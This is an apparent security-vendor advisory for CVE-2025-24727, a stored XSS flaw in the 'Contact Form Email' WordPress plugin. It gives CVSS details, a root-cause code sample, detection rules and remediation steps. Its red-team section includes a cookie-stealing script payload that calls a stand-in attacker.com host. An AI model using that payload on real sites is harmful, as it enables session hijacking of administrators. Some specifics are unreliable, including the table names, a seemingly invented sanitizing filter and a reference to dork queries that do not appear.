CVE-2025-24727
Executive Summary
CVE-2025-24727 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin "Contact Form Email" by Codepeople, affecting versions up to and including 1.3.52. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject malicious scripts that are stored on the server and executed in the browsers of other users. This is a WordPress ecosystem issue, not related to Apache or Nginx.
Given the EPSS score of 0.0%, exploitation is currently not widespread, but the lack of a patch makes this a significant risk for sites using the plugin. The vulnerability is classified as Stored XSS, which can lead to session hijacking, defacement, or redirection to malicious sites.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This is a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of the plugin by checking checksums provided by WordPress.org. No known supply chain attacks have been reported for this specific plugin, but the lack of a patch increases the risk of malicious actors forking or distributing tampered versions.
CVSS Breakdown & Threat Level
- CVSS Score: 5.9 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (victim must visit a page with the injected script)
- Scope: Changed (impact may extend beyond the vulnerable component)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: Low
Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the potential for stored XSS to affect multiple users elevates the risk for WordPress sites.
Deep Dive & Mechanics
The vulnerability exists in the contact-form-to-email plugin, specifically in how it handles form submissions. The plugin fails to sanitize or escape user input before storing it in the database and later displaying it on the admin dashboard or frontend. An attacker can submit a form with malicious JavaScript payloads in fields such as name, email, or message. When an administrator or other user views the submitted data (e.g., via the plugin's admin interface), the script executes in their browser.
Root Cause: The plugin uses functions like echo or _e without proper escaping (e.g., esc_html() or wp_kses_post()) when rendering stored data. This allows HTML and JavaScript to be injected.
Attack Flow:
- Attacker identifies a WordPress site using the vulnerable plugin.
- Attacker submits a form with a payload like
<script>alert('XSS')</script>in a text field. - The plugin stores the payload in the WordPress database without sanitization.
- When an admin views the form entries (e.g., via the plugin's "Entries" page), the payload executes.
- The attacker can steal cookies, perform actions on behalf of the admin, or redirect to a malicious site.
Vulnerable vs. Patched Code
Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable code likely looks like this:
Vulnerable Code (PHP):
// In a file like contact-form-to-email.php or admin-display.php
echo '<td>' . $entry['name'] . '</td>';
Patched Code (Hypothetical):
echo '<td>' . esc_html( $entry['name'] ) . '</td>';
The fix would involve using WordPress escaping functions such as esc_html(), esc_attr(), or wp_kses_post() depending on the context.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A WordPress installation with Contact Form Email plugin version <= 1.3.52.
- Access to the public-facing contact form.
Exploitation Steps:
- Navigate to the contact form page.
- In the "Name" field, enter:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Fill in other required fields with dummy data.
- Submit the form.
- Wait for an admin to view the form entries. The script will execute and send the admin's cookies to the attacker's server.
Note: No public exploit code is available, but the above demonstrates the attack vector.
Blue Team
Detection:
- Monitor for form submissions containing
<script>tags or other HTML/JavaScript. - Use Web Application Firewall (WAF) rules to block common XSS payloads in form fields.
- Review WordPress database entries for suspicious content in the
wp_cf7_*tables (or similar plugin-specific tables).
Hunting:
- Search for entries in the
wp_postmetaor custom plugin tables containingscriptoronerrorattributes. - Look for outbound connections from the WordPress admin dashboard to unknown domains.
Indicators of Compromise (IOCs)
- Network: HTTP requests to
attacker.com/stealor similar domains from the WordPress admin IP. - File: Modified plugin files (though unlikely if only stored XSS).
- Database: Entries in plugin-specific tables containing
<script>tags or base64-encoded JavaScript. - Logs: WordPress debug logs showing unexpected output in admin pages.
Detection Engineering
YARA Rule
rule CVE_2025_24727_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Contact Form Email plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-24727"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$xss_event = /on\w+\s*=\s*["']?[^"']*["']?/i
condition:
any of them
}
Sigma Rule
title: Stored XSS in Contact Form Email Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts in Contact Form Email plugin submissions
author: Valters IT
logsource:
category: webserver
product: wordpress
detection:
selection:
http.method: POST
http.url|contains: /wp-admin/admin-ajax.php
http.body|contains:
- '<script'
- 'onerror'
- 'onload'
condition: selection
falsepositives:
- Legitimate use of JavaScript in form fields (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-24727 Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- If disabling is not possible, restrict access to the admin dashboard using IP whitelisting or .htaccess.
- Implement a Web Application Firewall (WAF) with rules to block common XSS payloads.
Long-term:
- Monitor the plugin's page on WordPress.org for updates.
- Consider switching to an alternative contact form plugin that is actively maintained (e.g., Contact Form 7, WPForms).
- Apply the principle of least privilege to WordPress admin accounts.
Workaround:
- Add custom code to your theme's
functions.phpto sanitize form submissions:
add_filter('cfte_sanitize_field', 'sanitize_text_field');
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.